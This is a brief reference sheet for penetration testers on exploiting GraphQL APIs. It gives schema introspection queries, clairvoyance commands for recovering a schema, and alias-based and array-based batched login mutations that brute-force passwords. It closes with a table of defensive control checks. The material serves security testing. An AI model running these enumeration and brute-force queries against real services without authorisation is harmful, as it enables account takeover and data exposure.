<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting GraphQL Vulnerabilities

## Introspection Queries
```graphql
# Basic type listing
{ __schema { types { name } } }

# Full schema with fields and arguments
{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name kind
      fields { name args { name type { name } } type { name kind ofType { name } } }
    }
  }
}

# Single type inspection
{ __type(name: "User") { name fields { name type { name } } } }
```

## InQL (Burp Extension)
```
# Auto-generates queries from introspection
# Loads schema and creates test queries for all fields/mutations
# Highlights sensitive fields (password, token, secret, etc.)
```

## clairvoyance
```bash
# Schema recovery without introspection
clairvoyance URL -o schema.json
clairvoyance URL -o schema.json -w custom_wordlist.txt
```

## Batched Query Patterns
```graphql
# Alias-based brute force
mutation {
  a0: login(email: "admin@t.com", password: "pass0") { token }
  a1: login(email: "admin@t.com", password: "pass1") { token }
}

# Array batching (some servers)
[
  {"query": "mutation { login(email: \"a\", password: \"p1\") { token } }"},
  {"query": "mutation { login(email: \"a\", password: \"p2\") { token } }"}
]
```

## Defense Checks
| Control | Query |
|---------|-------|
| Introspection disabled | `{ __schema { types { name } } }` returns error |
| Depth limit | Nested query beyond N levels returns error |
| Complexity limit | Wide query with many fields returns error |
| Rate limiting | Batched aliases counted individually |
